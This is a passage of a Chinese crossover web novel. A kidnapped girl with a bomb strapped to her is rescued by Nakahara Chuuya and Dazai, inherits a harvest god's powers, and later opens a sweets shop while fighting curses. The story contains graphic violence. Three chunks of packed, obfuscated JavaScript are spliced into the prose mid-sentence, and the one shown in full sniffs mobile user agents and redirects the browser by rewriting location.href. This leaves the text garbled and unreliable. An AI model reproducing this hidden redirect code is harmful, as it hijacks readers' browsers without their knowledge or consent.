“喂,张嘴说话,什么都可以。” “真是犟种,打她肚子。” 肉//体撞击的声音响起,紧接传来藤原清月吃痛的叫声。 中原中也抽出匕首,身上泛起暗红色的光泽。 顷刻间,匕首以超音速的状态刺中男人的喉咙。 黑发男人不可置信瞪大眼眸,想要发出声音却被极致的疼痛压下。 中原中也操纵匕首旋转一圈,浓稠的血液飞溅到地面,男人的头颅被割了下来,。 “发生什么事了?回话!” 通讯器传出犀利的问话。 没有人回应,只有头颅坠地的声响。 匕首飞到半空,迅速将通讯器削碎。 中原中也沉着脸,身影瞬间消失在原地。 10. 十五岁(十) 10 一行人快速地在山崖边穿梭,我额角冒出冷汗,瞥了眼脚边危险高耸的悬崖。 肚子还在叫嚣着疼痛,刚才肚子和胃都被踢到,胃里东西全都吐了出来。 这群狗逼! 我在心里暗骂,不情不愿被他们拖拽着往前走,双手被铁链磨得生疼。 双脚赤裸地踩在砂砾上,脚掌破皮,在地上摩擦痛得很。 下方湍急的河流淹没在黑暗中,月光照亮前方的道路,这些全副武装的人以行军的速度加速前进,若不是刚才的绑架行动,都要以为是哪国的军队。 这队恐怖分子训练有素,且行事谨慎,怕我听到情报,仅通过手势交流。 在一块往断崖延伸的地面,这些人停在这里,将我推到首位。 风在山崖间呜呜吹着,从领口灌进衣服里。 只穿着浴衣的我在风中瑟瑟发抖,长发凌乱飞舞,手脚火辣辣地,痛感神经再次发挥作用。 腰上挂着的东西正发出规律的滴滴声,我垂下眼眸,正方形的炸弹让我的心情糟糕透顶。 狗东西! 竟然在我身上装炸弹! 蓦地,不远处的半空中出现一抹红光。 那抹红光勾勒出一个人影,正极速接近这里。 我怔了怔,心有所觉般认出那是中原中也。 因为刚才,我在他们的通讯器里听见暴戾、但坚定无比的声音。 “如果你们伤害她,我会将你们一个个碎尸万段。” 这句话就像一颗定心丸,即使下一秒我被踹,也能忍受那一刻尖锐的疼痛。 他带着强烈的气流降落在前方,地面发出颤动,山崖摇晃起来。 沙尘扬起,覆盖红光的身影与透着怒意的声音一同出现。 “准备好接受死亡了吗?” 恐怖分子互相对视,头领拿出一个小型遥控器,悄然按下按钮。 我看见了这个动作,判断出这些人一定在周围布置了什么陷阱。 我想喊出声来,提醒中原中也注意陷阱,可只能发出哼哼的声音。 风吹散沙尘,中原中也看清悬崖边的场面时,脸色差到极点。 “你们在她身上装了炸弹?!” “卑鄙无耻——” 头领扯掉我嘴上的胶带,皮肤与胶水分开的瞬间传来刺痛的不适感。 “中原中也,为了我们逝去的同伴,请你自杀。” “不然,她身上的炸弹就会将她撕碎。” 头领手里紧握圆柱形的控制器,上面有一个红色按钮。 中原中也弓起后背,脚下的地面因重力凹陷。 “如果你在这里使用重力,那么周围埋在地下的震动性炸弹就会爆炸,子弹射击炸弹附近的地面也会启动炸弹。” “她会坠落悬崖致死。” “遥控器和炸弹都设定了破坏就会自动开启爆炸的程序。” 其中一人喊道。 头领晃了晃刚才按下的小型遥控器,“现在还要使用你的重力吗?” 中原中也呼吸一窒,僵在原地取消附着的重力。 我看着中原中也脸上一瞬慌乱的神色,痛恨起自己的无能为力。 如果不是没有保护自己的力量,他又怎么会被我拖累到这样的境地? 这就是这些人眼中的世界……生命的价值就像可以随意打碎的瓷器。 我这个普通人只要踩进去,就会被燃烧殆尽。 可我说不出“你不要管我”的话。 我还想活下去。 我不想这一生只有短短十五年,我想去巴黎留学,我想看到这个世界的爸妈变成老爷爷老奶奶,我还没见到我那没有血缘关系的弟弟,我还没跟小樱、知世、莓铃和蜜璃她们告别…… 我不想死。 可是,恐怖分子人数太多了,中原中也才十五岁,何尝不是想要活下去的年纪? 他跟我比起来,活着的时间更短。 “小可,小樱梦见的未来一定会发生吗?” “嘛,平时与命运节点无关的灾难只要提前预警是可以躲开的。” “命运节点?” “就是你人生中会改变、甚至颠覆原定生活轨迹的事,简单来说,就是命中注定会发生的灾难,无法改变。无论怎么尝试规避,最后都会降临。” “小樱那家伙梦见的事情,我们也分不清是不是注定要发生的灾难,所以平时我们尽量都躲开吧。” 曾经与小可的对话清晰地回忆起来,我注视着中原中也的眼眸,咬住下唇,眼眶瞬间发红。 即便我一直在旅馆没有出去,可我最终还是在悬崖边上。 腰间的炸弹,周围的震动性炸弹,只要有任何一个爆炸,这个沿着土地延伸的悬空空地,就会断裂下坠。 或许,之后中原中也就算想尽办法救我,我最终也会坠崖而死。 我垂下眉眼,慢慢抬眸,对上中原中也的眼眸,扯动嘴角开口。 “中原君,你走吧。” “不要管我了。” 说出的声音颤抖沙哑,眼泪脱离眼眶落下。 我微微一怔,没想到自己的声音会变成这样。 中原中也猛然睁大眼眸,脚下用力跃起,下一秒出现在我眼前将我推走。 我顺着他的力道,跑了几步,顷刻间我们的位置互换了。 “可恶!” 头领的声音响起。 我回头看去,泛起红光的匕首刺穿头颅的手腕,圆柱形控制器被抛在空中。 中原中也立刻跳跃起来,接住控制器翻身落在我面前。 他将控制器朝我抛来,我连忙接住,生平第一次这么精准地接住某样东西。 “藤原,不要再说刚才的话。” 他直视我的双眸,认真道。 “你说不要管你,可你的眼睛在告诉我,你想活下去。” “好好保护这个控制器,你的生命应该掌握在你自己手里。” 我缓缓睁大眼眸,他的话一字一句落在心中。 “好。” 璀璨的蓝眸闪着坚定的光,我被这样的眼睛注视着,仿佛被给予了无限的勇气和能够活下去的自信。 中原中也伸出手将我护在身后,看着对面一行人嘲讽:“震动型控制器对你们的限制也一样,这样你们也用不了枪。” “你们真的以为,我的实力全靠异能吗?” 蓦地,脚步声从后方传来,一行穿着黑西装的队伍从黑暗的森林里涌出。 为首的是一名少年,宽松的黑大衣套在肩上,消瘦的脸上缠有绷带。 “呀,中也,听说你被GSS的残党报复,过来看看你到底死没死……当然,以你的实力自然不会被区区残党杀死吧,不过真是让我惊讶。” 少年的目光落在我身上,他踩着轻盈的步伐来到我面前,饶有兴味地打量我。 他勾起唇角,看向中原中也,“还真是美丽的人质呢,是中也喜欢的类型?” 中原中也额角跳起,咬牙切齿地暴怒。 “太宰,为什么你这个混蛋会在这里!” 被唤作太宰的少年加大唇边的笑意,唯一露出的眼眸与身后的黑暗融为一体。 “森医生得到消息,叛徒跟GSS联手了,让我来支援你。” “真是的,你以为我愿意来处理你的麻烦吗?” “说实话,我有些惊讶,竟然现在还有人可以作为威胁中也的存在呢。” 我露出惊讶的神色,没想到那个太宰治会出现在这里。 少年站在我的身侧,肩膀忽然被他揽住。 我侧眸看去,他的眼眸尽在咫尺,眼里充满了恶意。 “你这混蛋放开她!” “她是无关系者——” 右手被中原中也拽住,将我从太宰治身边拉走。 “无关系者?中也,在你跟她接触的瞬间,她就不再是无关系者。” “你什么都不知道就别胡说!” “笑话,要是她知道你真正的样子,肯定会吓得屁滚尿流,再也不会想见你了。” “你要是敢乱说我就杀了你。” “不,你可不能杀我,因为中也你是我的狗——” “混蛋,你才是要对我俯首称臣的狗崽!” 结果,中原中也和太宰治面对面,互不相让地吵起架来,仿佛那些恐怖分子不存在似的。 我眨眨眼睛,视线在这两人身上来去,恍然间明白了太中cp。 对抗路情侣吗?有意思。 我再次眨眨眼睛,突然有种自己是小三的错觉。 忽然,正在与中原中也争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“别看。” 中原中也的话传入耳中。 “真温柔呢,中也。” “滚。” 太宰治的声音在黑暗和枪声中响起。 “美丽的小姐,踏入这个世界,生命就进入倒计时了哦。” “闭嘴——” “还有一种保全的方法,那就是让她加入我们,反正森医生身边缺一个秘书。” “喂,你知道自己在说什么吗?” “开玩笑的,难道中也当真了?” “啊——!!!绝对要杀了你!” “我还不能死,我还没看到中也穿女仆装给我端茶送水~~” 哇哦,女仆装。 诶,不对,现在不是在意这个的时候。 我听着他们的吵闹声渐渐回过神,一股冷意从脚指头迅速蔓延至后背。 有什么“东西”在说话。 【好狠,好狠,我不想死。】 【痛、好痛啊】 【为什么我的人生这么悲惨】 中原中也一直没有松开捂住我眼睛的手,在一片漆黑中,复数的声音在脑海中凭空响起。 有什么要出现了。 风不知何时剧烈吹拂起来,在山谷间咆哮。 温度骤然下跌,隐约中好像有一团东西在空中蠕动,发出粘稠的声音。 与听到妖怪的声音时不同,这股感觉就像地下道聚集的臭虫令人不适。 “滴滴。” 腰上的炸弹仍然发出规律的响声。 “混蛋太宰,你有没有什么办法拆除她身上的炸弹?” “只要你答应做我一辈子的狗,我就有办法。” 耳边,依旧是中原中也和太宰治的吵架声。 枪声停止了,遮住视线的手被放下。 我的视野里出现一丝光亮,中原中也和太宰治充满恼意的脸庞映入眼帘。 “快——” “轰!!!” 强烈的危机感让我开口,想让大家赶紧跑开。 但我刚说话,地面崩裂,悬崖深处没有任何征兆的涌起旋转向上的风流,顷刻间将所有人卷走。 而我,被这股气流卷到悬崖上空后极速坠落。 气流里夹杂许多细碎的话语,阴冷潮湿的气息将我包裹其中。 这不是扑通的向上风流,而是充斥某种不祥之物的聚合。 11. 十五岁(十一) 11 这股龙卷风一般的风流出现的时间极短,几秒便消失了。 悬崖边往山谷延伸而出的地面在巨大的冲击中碎成一块块,轰隆一声往下塌陷。 GSS残党的尸体随同崩裂而成的石块坠落,在河流水面激起偌大的水花。 幸运的是,腰间的炸弹被这股强大的风流扯断绳子,飞到在上空爆炸,极速坠落的我因此躲开了被炸碎身体的危机。 可我连思考的时间都没有,就被一块从天而降的巨石砸中,直接坠入湍急的河流中。 耳边传来巨石砸中河流地面的声音,我掉在巨石旁边,被冰冷的河水卷走。 在巨石的冲击之下,身体承受不住高空坠落的反噬,体内传出骨头碎裂的声音。 紧接着浑身都在发疼,五脏六腑被搅拌机搅碎似的,好像就连骨头都没有一处是好的。 刚才事故突发的瞬间,我听见中也急促的喊声,但我不知道他被卷到了哪里。 身体被河水淹没,不知被冲往何处。 口鼻充斥着水流,就连呼吸都困难。 我在极大的痛苦中闭上眼,比黑夜更深的黑暗扑了上来。 我要死了。 大脑清晰地告诉我这个事实。 濒死之际,向下游走的河水因地势使我的脑袋得以浮出水面,我迷蒙睁开眼,看见了天上漂浮的各种怪物。 我不想死。 身体痛得流不出眼泪,河水呛得我说不出话。 月亮在晃动的视线中散发温柔的光辉,我想起了家人和朋友微笑的脸庞,上一世死亡前的痛苦与今生临死的疼淹没我的神经。 我还想活着,我还有要做的事情。 不要夺走我的生命。 神啊—— 请允许我活下去。 【你的愿望,我听见了。】 蓦地,一道极温柔的声音回应了我。 漂流的身体被石头挡住,我在朦胧的视线中看见一道半透明的虚影。 眼皮眨了几下,模糊的视线忽然变得清晰,眼前飘过浅紫色和服的羽织。 白色鹿角面具遮住神秘人的容颜,他漂浮在我面前,朝我伸出手。 紫色的和服羽织在风中飘动,面具上的头纱层层叠叠飞舞。 咀嚼的声音响起,我虚弱地抬眼看去,血色的视野中看见他的肩上有一只巨大的蝴蝶妖魔正在啃食他的身体。 往昔的记忆在此刻无比清晰,我认出了眼前的神秘人。 他是丰月神。 【我已然没有神力,又被除妖师驱逐,险些被封印,仓皇之下逃到此处,竟遇风穴,被妖魔污染将被吞噬。】 丰月神闷哼一声,脖子上出现紫色的瘢痕。 【你的名字是?】 “清月。” “你、没事吧?” 我看向丰月神被啃食的肩膀,几乎用气声问。 因为双手被铁链捆住,动作间铁链发出清脆的声响。 奇妙地,明明应该死去,可意识却维持在濒死的状态。 丰月神握住我伸出的手,顷刻间铁链被解开落入水中,白色的光芒充满我的视野。 【清月,成为我的转生吧,继承丰月神的神位。】 【替我履行守护三隅山的职责,就当是你要付出的代价。】 冰冷和疼痛被阳光照耀般的温暖抹除,体内涌入一股柔和力量的瞬间,有什么别的东西从灵魂深处喷涌而出。 丰月神肩上猖狂啃咬的妖魔化为灰烬,脖子上的紫色瘢痕褪去。 他看向肩膀,震惊的语气传入脑海中。 【清月,你的力量强大到不可思议呢,想必会成为比我更加优秀的丰月神。】 【如此一来,我便放心了。】 【最后,多替我去看看不月那家伙……】 丰月神身上闪着银白的光泽,变成一颗晶莹的白色石头落在河边。 我努力伸出手,往前爬一步,将那颗石头攒入手心。 蓦地,关于神明、妖怪和除妖师、妖魔和咒术师的信息填满此刻的大脑。 下一刻,我失去意识,陷入一片黑暗中。 * 一抹黑色人影出现在河边的少女身旁,他蹲下身扒开少女的手心,将白色石头拿起来收好。 那是身着黑色和服的神明,头戴羊角面具和荷花冠状头纱,拥有让生命枯竭的地枯之力,被称为不月神。 “来晚了么……该死的除妖师!竟然在这时候拖住我的行动。” “如果不是除妖师将你逼到此处,你也不会遇到风穴。” “幸而,这个被你选为继任者的人类是个有善心的,灵魂还拥有罕见的净化之力,在最后关头将你身上的恙消除,又逢除妖师的封印起效,在你的神识彻底消散前将你封印,真是不幸中的万幸。” “我珍爱的友人啊,我会带你回到你的诞生之地,将这颗封印你的石头放在那里修养,或许我们还有见面的一天。” “也罢,如此你还能躲开面临无人供奉而消散的危机。” “毕竟你不像我,只要这世界人类的恶意没有消散,我就能一直存在。我是地枯之神,也是祸津神,只要恶人像我许愿,我就会实现他们的愿望,用他们对恶神的信仰换来我的存续。” “女孩,继承丰月的神位活下去吧,如果不是我实现那个人类的愿望,你也不会遭此劫难。” 不月神独自絮絮叨叨说了一通,可这回无人再说他啰嗦,只有风声和水流声回应。 他轻点少女的额间,轻声道:“无需担忧,我把这家伙接走了。” 如风吹过般,不月神在月色中隐去身形。 与此同时,三个人影在森林小路间穿梭,寻着风穴的气息来到边缘。 蓦地,妖魔的气息消失得无影无踪,取而代之的是一股崭新而强大的神力。 “小福,有新的神明诞生了?” 身着蓝色运动服的男人手握太刀往前赶路,惊讶地开口。 粉发波波头少女坐在身形高大的黑发男人肩上,右手搭在额前往前眺望。 “嗯,看来是呢。” “这附近是丰月神的领地,是掌管丰收的福神哦,一直以来不是很出名就是了。不过丰月神很久没在神议露脸了,可能是因为信仰的人一年比一年减少吧,或许现在的信徒数量,仅仅只能维持他的存在而已。” 少女跟身边的同伴解释道。 “对比之下,夜斗真的很强呢。” 她看向运动服男人,不由得感叹起来。 夜斗轻咳一声,掏出怀里的酒瓶,晃了晃里面的钱币。 “我的神社还没建成,怎么可能消亡?” 黑发男人沉吟一声,脚下速度不减。 “如果丰月神失去神力,现在弥散的神力是他的换代么?” “大黑,加快速度——冲!” 惠比寿小福举起手,兴奋地喊出声来。 “哦!” 大黑咬紧牙关,额角跳起,不断提升脚下的速度。 夜斗、惠比寿小福和大黑飞快穿过森林,在河边停驻脚步,抬头看着漫天的白色光点出神。 一个个白色的虚影漂浮在半空,漫无目的地游走。 “风穴产生的那么多妖怪,居然全部被净化了?!” 夜斗和大黑异口同声。 惠比寿小福看向对面岸边,眨眨眼露出诧异的神色。 她拽着夜斗和大黑,躲进草丛里。 “你们看——” 夜斗和大黑缩在一旁定睛看去,神力散发的源头竟然是一名昏迷的少女。 “真的假的?选择人类作为换代转生?” 大黑惊讶出声。 “藤原!” 少年急切的声音在山谷响彻。 赭发少年出现在夜斗的视野里,淌过河水正在寻找什么人。 忽然,他瞧见河边昏迷的少女,加快速度跑过去在少女身边蹲下。 赭发少年颤抖双手,抱起少女仔细观察,蓦地将少女牢牢抱在怀中。 “太好了,你还活着。” 赭发少年声音沙哑,言语里尽是庆幸。 河水发出哗哗声,月光照耀在流动的水面上,折射出破碎的微光。 赭发少年抱着少女,影子被月色拉长,无声的背影在这山谷呜呜的风中显得孤寂悲伤。 惠比寿小福微微一怔,拉住正要过去的大黑。 “等一下。” 夜斗看向天空,灵魂聚集的上空出现了地狱的狱卒,正在用绳子收走灵魂。 他第一次遇到这种能将已经妖魔化的灵魂净化的神力。 惠比寿小福勾起唇角,说:“那孩子现在是人神的状态,等身体死亡,就会成为真正的神了哦。” 夜斗听出她的意思,开口:“也就是说,她现在是实习状态?” “对。不过虽然是实习,但也继承了丰月神在高天原的土地,是要定期参加神议的。” “好羡慕。” 夜斗拿出擦手巾,眼含热泪,羡慕至极。 惠比寿小福拍拍夜斗的脑袋,笑着安慰这个老朋友。 对岸的灌木出现窸窣的声音,一个身影从黑暗中走出,出现在银白色的月光中。 “真令人惊讶,被那么大的石头砸中腰部,按常理说骨头都碎掉才是,别说从那么高的地方摔下来,被河冲走……生还几率是零才对。” 这两位少年都穿着黑西装和白衬衫,像是某个组织的统一制服。 黑发少年露出兴味的神色,踱步到赭发少年身边。 赭发少年抱着少女没有说话,他自顾自站起身,小心翼翼将少女抱稳后沿着河岸走去。 “大概是那种有点异能的人吧。” 黑发少年一蹦一跳越过凸起的石头,紧跟在赭发少年身后。 “什么意思?” 赭发少年的声音格外低沉,压抑着某种极致的情绪。 那样的情绪让此刻的他浑身长刺,周身散发可怖的气息。 可黑发少年仿佛什么也没感受到般,语气轻快道:“一生只能使用一次的异能类型,还是被动使用系,大概是治愈自身吧,所以才会在刚才那样糟糕的情况下活下来,而且毫发无伤。” “这个世界不乏有这种类型的人,一般这类弱异能的人通常一辈子都不知道自己有某种特殊的超能力,也就是说,只有濒死情况下才会出现。” 赭发少年停下脚步,回身直视他。 “我答应你的条件,你绝对要把关于她的事情咬碎了吞进肚子里,永远都不能说出来。” “好~~” 黑发少年勾起唇角,笑弯眼眸。 “上次好不容易把被捅刀的你从羊和GSS的袭击中扛回去,结果第二天就逃走了,真是令人心寒——” 突然他咳嗽出声,嘴角溢出血液。 “啊啊,刚才的撞击……果然还是伤到内脏了啊。” “活该!我可不是被你威胁才选择加入的mafia,是我经过深思熟虑之后才决定加入的!” 赭发少年气急败坏地喊出声来。 “所以你就在圣玛利亚学院的女生宿舍思考了一晚上?咦惹,真下/流。” “混蛋,你怎么知道!我才没有做龌龊事!” “看你逃走的方向就知道了。嘛,中也就你现在不争气的样子,就算对方脱光了站在你面前也只会闭上眼睛让她穿好衣服吧?” “可恶——!!!说这话的你才下/流!” 少年们渐行渐远,在月光铺就的泥路越过坎坷与时光,迈向未知的未来。 * 翌日。 我睁开眼眸,心有余悸地捂住胸口坐起身。 被子跌落腰间,我环顾四周,发现是自己居住的旅馆房间。 我垂眸检查自己的身体,完好无损,没有任何伤口,也没有那折磨人的疼痛,昨晚的事情就像一场惊险刺激的梦, 但冥冥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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妈妈的声音从门外传来,随机响起敲门声。 我连忙将宝石项链放进自己的行李袋里,再走到门口推开门。 怎料,妈妈伸手探了下我的额头。 “没有发烧就好。” “妈妈?” 我疑惑道。 妈妈摇摇头,脸上微笑的表情不变,说:“我们回去吧。” 爸爸站在走廊尽头,拿着行李看过来。 “爸爸,不是还要待两天吗?” “嗯,公司发来通知,说要我调到这边当分公司的社长,过段日子要跟塔子搬回老家住了。明天开始要进行一些交接的内容……” “对,所以剩下两天的行程只能结束了,真是遗憾呢。” 我走在爸妈旁边,看着他们谈话笑弯眼眸。 “你这孩子,怎么这么开心?” “看到你们,我高兴。” 昨晚的经历仍在脑海中挥之不去,这个世界不仅有危险的异能者,还有人类看不到的危险存在。 咒灵,即神明口中的妖魔。 还有妖怪。 许是被赋予神力的原因,我记起了关于惠比寿的剧情。 惠比寿因偷偷制作面妖,遭到神罚而消逝。 尽管惠比寿是出于减少世间妖魔的初心而进行的研究,可天照大神一系没有谁能倾听他的诉求,一个神罚打在身上,尸骨无存。 如果没有自我保护的能力,那么我身上能够净化咒灵的神明之力会变成一块砧板上的肥肉,任人利用。 那些待在高天原的神不是那么好应付的,或许会让我去当无限期的劳工。 而且,从前任丰月神继承过来的信息看,丰月神的信徒少之又少,仅有三隅山上村落里年纪较大的村民,数量仅十几人。 好在我的人类身体是与现世连接最稳固的缘,这一点会让丰月神的存在更加持久,至少在身体死亡前,神力不会消减。 但神的血肉对咒灵来说,是极美妙的食物。 所以,如果我没有自保能力就在街上招摇,随时都会被这些咒灵吃掉。 我要去巴黎暗中发育,不仅要成为优秀的甜点师,还要拥有好身手。 脑海中关于神明的信息告诉我,若人类因为神明的举动、产生的现象、悠久的传说感到开心、满足和憧憬,相信会给他带来幸运,就会产生愿力。 若持续性产生这样的想法,成为心中的信仰,就会变成神明的信徒。 没有什么!能够!阻挡我开甜品店的决心! 我要让吃到我店里甜点的客人感到幸福,让他们在吃到我的甜点后拥有无限勇气,相信一切都会变好,把他们统统培养成我的信徒。 让我这个内核为中国人的神给那些小日子神一个震撼! 远在祖国大地的祖师爷,不要抛弃弟子,保佑弟子统治高天原,走上人生巅峰,完成统一一个中国的伟大思想和方针! 那些什么天照大神有祖师爷厉害吗,没有!没什么可怕的! 为了让自己更有底气,我在心里给自己打鸡血。 我在回程的车上拿出手机,在群里发了一条信息。 【性感纯情母蟑螂:蜜璃,我想学剑术。】 【香港双马尾:什么?我大中国的武术是哪里不好?你竟然看!不!上!】 【性感纯情母蟑螂:我当然没有!你在香港啊宝。】 【香港双马尾:嘿嘿,我也要去巴黎留学了。惊讶吧!没办法,谁让我以后要继承家里的企业呢】 【性感纯情母蟑螂:学!我都学!】 ——十五岁篇·完 12. 甜品屋(一) 12 七年后。 春日,横滨。 太阳正在上空不断挥发温度,金色的阳光落在樱树上,层层叠叠的花瓣迎风舞动。 我极速奔走在街上,手里提着大包小包,行人朝我投来诧异的目光。 “小月!快要被追上了!” 黑发少女紧跟在我身旁,不时往后面看去。 路边的樱花树颤动,一股冷风穿透樱色的花朵,花瓣纷纷扬扬落下。 路人浑身发抖,眉间露出不解的神色。 “怎么回事?突然有一股冷风……” “啊啊啊,开店要迟到了!今天可是试营业最后一天——” 我不满地喊出声来,明明可以轻易解决身后的咒灵,却只能将它引到无人的地方消灭。 “没办法,小月现在是人类嘛,大家都能看见你。” 黑发少女安抚地对我笑笑。 “理子,拐进那条巷子,把它解决掉!” 我指向前方拐弯的地方,朝被我称作“理子”的黑发少女喊道。 “嗯嗯!” 理子点头应声,阳光落进藏青色的瞳眸里,闪着璀璨的光。 我们拐进巷子里,阳光被建筑物遮挡,阴暗潮湿的气息将我们笼罩。 我和理子在小巷尽头停下,直面袭来的咒灵。 咒灵长得跟青蛙似的,吐着长舌袭来。 我将包裹放到地上,伸出右手,嘴里念道:“理器!” 理子化为一道白光,在我的手中呈现新的姿态。 她作为神器,是一把锋利的链剑。 链剑是一种介于中国传统长剑和软铁鞭之间的武器,有收缩和延伸两种状态。 收缩状态像长剑,剑身由一个个箭头型的锋利刀刃链接而成,可运用中国传统剑术对付敌人。 一旦按住剑柄上的开关,长剑一样的坚固形态就会变成如鞭子那样的武器,箭头型的刀刃在铁链上衔接延伸,像铁鞭那样伸缩自如,而鞭体上的箭头刀刃在攻击到敌人时会重复造成严重的刮伤,甚至能像绞肉机那样将肉削下。 实在是完美结合了从莓铃身上学到的武术,以及蜜璃的恋之呼吸,十分适合我的一款武器。 原本,理子的神器形状是软剑,与蜜璃前世使用的武器和现在防身用的相似。 成为祝器后,从软剑升级成现在手中的链剑。 祝器,是神器升级后的形态。当神器对神明抱有拼死相互之心,会在机缘之下发生形态进化,是神器向神明宣誓永远忠诚的标志。 在看见理子愿意为我成为祝器时,我十分感动和高兴。 理子,理镜,理器。 我们之间的牵绊谁都分割不开。 * 我遇到理子时,是七年前的夏天,刚在巴黎本部就读后的暑假,一次外出路上遇见一只一级咒灵。 当时我的剑术和武术运用得不太熟练,被追得格外狼狈。 无意间,我逃跑时在一个公园的草丛中发现了一个小小的灵体,情急之下将灵体收做神器。 成为神器后的灵体会失去人类时的记忆,这部分记忆会保存在神明的大脑内。 因此,神明在获得神器的瞬间,会看见神器作为人类的一生。 理子,全名天内理子,是她还是人类时的名字。 而我赐予她的神器之名,名为理镜,器为理,读作理器。 由于我赐名在前,获得记忆在后,不小心造成这一巧合。 无论是人类之名,还是神器之名,都有一个“理”字。 神器的记忆和作为人类时的名字,是神明不可言说的秘密。 一旦神器知晓真正的名字,找回活着时的记忆,就会瞬间妖魔化,成为妖魔,也就是咒术师口中的咒灵。 妖魔化的神器,最终的命运就是被神当场消灭。 有很长一段时间,我担心理子会想起自己的记忆,变成那些丑陋的咒灵。 四年前,因为一些原因,理子还是无意间知道了自己的名字,幸而在彻底妖魔化前我用自己的净化之力保住了她,即便当时我因此险些送命。 也是从那时,我才发现净化之力不是无限的,如果一次性透支过度,我的灵魂会遭到反噬,彻底消散。 好在,当时理子格外争气,在接受我全部的净化之力后,不仅褪去全身的恙,身上妖魔化特征消失,还进化成祝器。 也是因为祝器的力量,保住我即将消散的灵魂。 自此,她成为了唯一一个想起自己作为人类的一生,且没有被妖魔化吞噬的神器。 * “初恋,失败。” “为什么我喜欢的人总是喜欢别人?” 青蛙咒灵约莫是人类恋爱感情的负面聚合体,它嘴里念叨着不满,一边伸长舌头朝我袭来。 我将链剑竖起,食指与中指并拢,贴在剑上。 白色光芒覆盖全身,我注视青蛙咒灵,缓缓吐出一口气。 “丰苇原中国,在此引起骚乱者,吾丰月神降临于此,臣服于理器之威,除种种污秽障壁,斩!” 我道出神明的除邪祟之言,甩出手中链剑上的链条。 链条翻滚抽出,在咒灵身上反复抽打,刹那间鲜血遍地。 “净化。” 见咒灵即将被消灭,我轻声呢喃。 咒灵在哀嚎中消散,空中白光乍现,化为细雪一般的观点飘落。 一个十五岁的少女茫然站在巷子中间,眼里露出不安的神色。 “不用担心,很快会有人接你去该去的地方。” 我上前一步,对她灿烂一笑。 少女脸上紧张的神色一松,乖巧地点头。 这么年轻就逝去,实在是可悲。 我仅仅惆怅一瞬,很快便调整好心态。 这几年来,各式各样的灵体和咒灵见得也不少了。 “清月大人,好久不见。” 上方传来少年的嗓音。 我抬头看去,一个约莫十岁模样,身着白色和服的白发少年跳下来,十分麻利地抽出绳子将少女灵体捆绑。 这是地狱的狱卒茄子,有时候会在现世帮忙收束死灵。 做完这些,少年对我恭敬地鞠躬。 “听说您今年开始要一直留在日本了,真的吗?” 我心念一动,解放了理子的神器形态。 理子听见茄子的话,双手抱起,恼怒道:“绝对是那个好色老中医说的吧!” 茄子轻咳一声,哈哈笑了笑。 “确实……” “其实,清月大人以前在高天原与神明们吵架的事情我早有耳闻,真的太厉害了。” 他眼里冒出钦佩的神采,激动道。 我抬手挠了挠脸颊,不好意思地微微一笑。 “嘛……” 那些高天原的老古董们对我的净化之力虎视眈眈,迫不及待让我分担毘沙门天的妖魔退治工作,巴不得我的肉身快点死亡,从人神的状态脱离,成为真正的丰月神。 当年在神议听见他们的打算时,我一怒之下与他们争吵起来。 我才不要早早放弃人类的生命,与爸妈和朋友阴阳相隔。 我直接用神明自杀的方式作为威胁,逼他们答应了我的要求。 毕竟,净化之力只有我有,我自杀后就算丰月神换代,也没有这种力量。 “而且,现在丰月神的信众很少,就那么十几个老爷爷,如果我的肉身死亡,那么消失的速度岂不是更快?!” “现在好歹还有一个肉//身锁住灵体,是与现世最坚固的缘,至少在肉//身死亡前,我这个丰月神还不会消失,而且神力也不会消减——” 高天原的神议中,我铿锵有力的话响彻每位神明的耳朵。 高天原的老古董们虽然脑子缺根筋,但好在是个惜才的,对我这种赖皮的方法束手无策。 “也罢,在你的肉身死亡前,增加信众吧。” 天照大神一系的神明大概是觉得我说得有道理,最终妥协了。 最终的谈判结果,我最晚在22岁之时必须正式执行高天原分派的工作任务——负责横滨一带的妖魔净化工作。 日本咒灵众多的地方,一个在东京,一个在横滨。 东京是因为人流多,咒灵源源不断,由毘沙门天负责,有时候咒术师也会解决掉一部分。 横滨则是因为这边动乱多,死去人类的怨念不断产生咒灵,现在由我负责这一带的清理工作。 对于我要守护的领地三隅山,由于山中有供奉神位的神龛,想要回去的时候只要意识离体,化为丰月神的形态就可以瞬移到那边。 因此,即便身处国外,那边侍奉的小妖怪们会在神龛前告诉我山中发生了什么动乱,我可以即刻现身解决。 如今是过上白天开店,晚上清除咒灵的生活,日子实在是充实得很。 “哎呀,不说了,超过开店的时间了!” “茄子,拜拜~” 我匆匆忙忙与茄子道别,拉着理子离开。 * 鸣笛声响起,一辆货车停在海滨公园沿海景观道的对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787043|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 “藤原小姐,您订购的货物送到了!” 我气喘吁吁地朝配送员招手,停在店门口签收了配送单。 “叮铃——” 兔子形状的风铃被玻璃门撞响,发出清脆的铃声。 蜜璃推开店门来到货车尾部,她穿着粉色方领泡泡袖花苞裙,裙摆在大腿处被南瓜裤撑起,腰间穿戴白色花边围裙,裙摆随着她的动作轻盈摆动。 双腿被白色蝴蝶结过膝袜套住,红色的玛丽珍鞋踩在地上,发出沉闷的声响。 “小月,你这匆忙的样子,难道路上又遇到……” 蜜璃惊呼,诧异道。 我点点头,随即被蜜璃身上的装扮吸引。 “你这一身不会是知世……” 蜜璃点点头,示意我看向店内。 果不其然,店里靠玻璃窗的座位上,一名拥有灰紫色长发的女性发出意义不明的笑声,双颊通红,捧着相加给对面的棕发女人拍照。 那是知世和小樱。 